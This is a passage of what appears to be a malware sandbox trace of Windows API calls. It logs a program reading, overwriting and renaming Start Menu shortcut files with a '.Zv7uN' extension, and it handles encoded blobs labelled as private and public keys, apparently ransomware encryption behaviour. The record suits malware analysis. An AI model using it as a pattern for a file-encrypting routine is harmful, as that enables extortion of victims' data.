lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0132.668] ReadFile (in: hFile=0x1e8, lpBuffer=0x1f35a90, nNumberOfBytesToRead=0x512, lpNumberOfBytesRead=0x18f3d4, lpOverlapped=0x0 | out: lpBuffer=0x1f35a90*, lpNumberOfBytesRead=0x18f3d4*=0x512, lpOverlapped=0x0) returned 1 [0132.671] CloseHandle (hObject=0x1e8) returned 1 [0132.671] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Event Viewer.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\event viewer.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0132.673] WriteFile (in: hFile=0x1e8, lpBuffer=0x1f37ac0*, nNumberOfBytesToWrite=0x512, lpNumberOfBytesWritten=0x18f3e0, lpOverlapped=0x0 | out: lpBuffer=0x1f37ac0*, lpNumberOfBytesWritten=0x18f3e0*=0x512, lpOverlapped=0x0) returned 1 [0132.675] CloseHandle (hObject=0x1e8) returned 1 [0132.676] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Event Viewer.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\event viewer.lnk"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Event Viewer.lnk.Zv7uN" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\event viewer.lnk.zv7un")) returned 1 [0132.677] GetCurrentThreadId () returned 0xa30 [0132.677] GetCurrentThreadId () returned 0xa30 [0132.677] GetCurrentThreadId () returned 0xa30 [0132.677] GetCurrentThreadId () returned 0xa30 [0132.677] GetCurrentThreadId () returned 0xa30 [0132.677] GetCurrentThreadId () returned 0xa30 [0132.677] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2725c230, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x2725c230, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x272a84f0, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4fa, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="iSCSI Initiator.lnk", cAlternateFileName="ISCSII~1.LNK")) returned 1 [0132.677] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0132.678] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0132.678] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\iSCSI Initiator.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\iscsi initiator.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f414 | out: lpFileInformation=0x18f414*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2725c230, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x2725c230, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x272a84f0, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4fa)) returned 1 [0132.680] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\iSCSI Initiator.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\iscsi initiator.lnk")) returned 0x20 [0132.680] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\iSCSI Initiator.lnk", dwFileAttributes=0x80) returned 1 [0132.682] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0132.682] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f1cc2c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0132.684] GetCurrentThreadId () returned 0xa30 [0132.684] GetCurrentThreadId () returned 0xa30 [0132.684] GetCurrentThreadId () returned 0xa30 [0132.684] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0132.684] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f2dc8c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0132.685] GetCurrentThreadId () returned 0xa30 [0132.685] GetCurrentThreadId () returned 0xa30 [0132.685] GetCurrentThreadId () returned 0xa30 [0132.685] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\iSCSI Initiator.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\iscsi initiator.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0132.685] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c8*=0) returned 0x0 [0132.685] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0132.685] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x4fa [0132.686] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0132.686] ReadFile (in: hFile=0x1e8, lpBuffer=0x1f35a90, nNumberOfBytesToRead=0x4fa, lpNumberOfBytesRead=0x18f3d4, lpOverlapped=0x0 | out: lpBuffer=0x1f35a90*, lpNumberOfBytesRead=0x18f3d4*=0x4fa, lpOverlapped=0x0) returned 1 [0132.690] CloseHandle (hObject=0x1e8) returned 1 [0132.690] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\iSCSI Initiator.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\iscsi initiator.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0132.692] WriteFile (in: hFile=0x1e8, lpBuffer=0x1f37ac0*, nNumberOfBytesToWrite=0x4fa, lpNumberOfBytesWritten=0x18f3e0, lpOverlapped=0x0 | out: lpBuffer=0x1f37ac0*, lpNumberOfBytesWritten=0x18f3e0*=0x4fa, lpOverlapped=0x0) returned 1 [0132.694] CloseHandle (hObject=0x1e8) returned 1 [0132.694] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\iSCSI Initiator.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\iscsi initiator.lnk"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\iSCSI Initiator.lnk.Zv7uN" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\iscsi initiator.lnk.zv7un")) returned 1 [0132.696] GetCurrentThreadId () returned 0xa30 [0132.696] GetCurrentThreadId () returned 0xa30 [0132.696] GetCurrentThreadId () returned 0xa30 [0132.696] GetCurrentThreadId () returned 0xa30 [0132.696] GetCurrentThreadId () returned 0xa30 [0132.696] GetCurrentThreadId () returned 0xa30 [0132.696] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa38693b, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0xa38693b, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0xa3aca9c, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4f4, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Memory Diagnostics Tool.lnk", cAlternateFileName="MEMORY~1.LNK")) returned 1 [0132.697] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0132.697] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0132.697] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Memory Diagnostics Tool.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\memory diagnostics tool.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f414 | out: lpFileInformation=0x18f414*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa38693b, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0xa38693b, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0xa3aca9c, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4f4)) returned 1 [0132.697] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Memory Diagnostics Tool.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\memory diagnostics tool.lnk")) returned 0x20 [0132.697] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Memory Diagnostics Tool.lnk", dwFileAttributes=0x80) returned 1 [0132.700] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 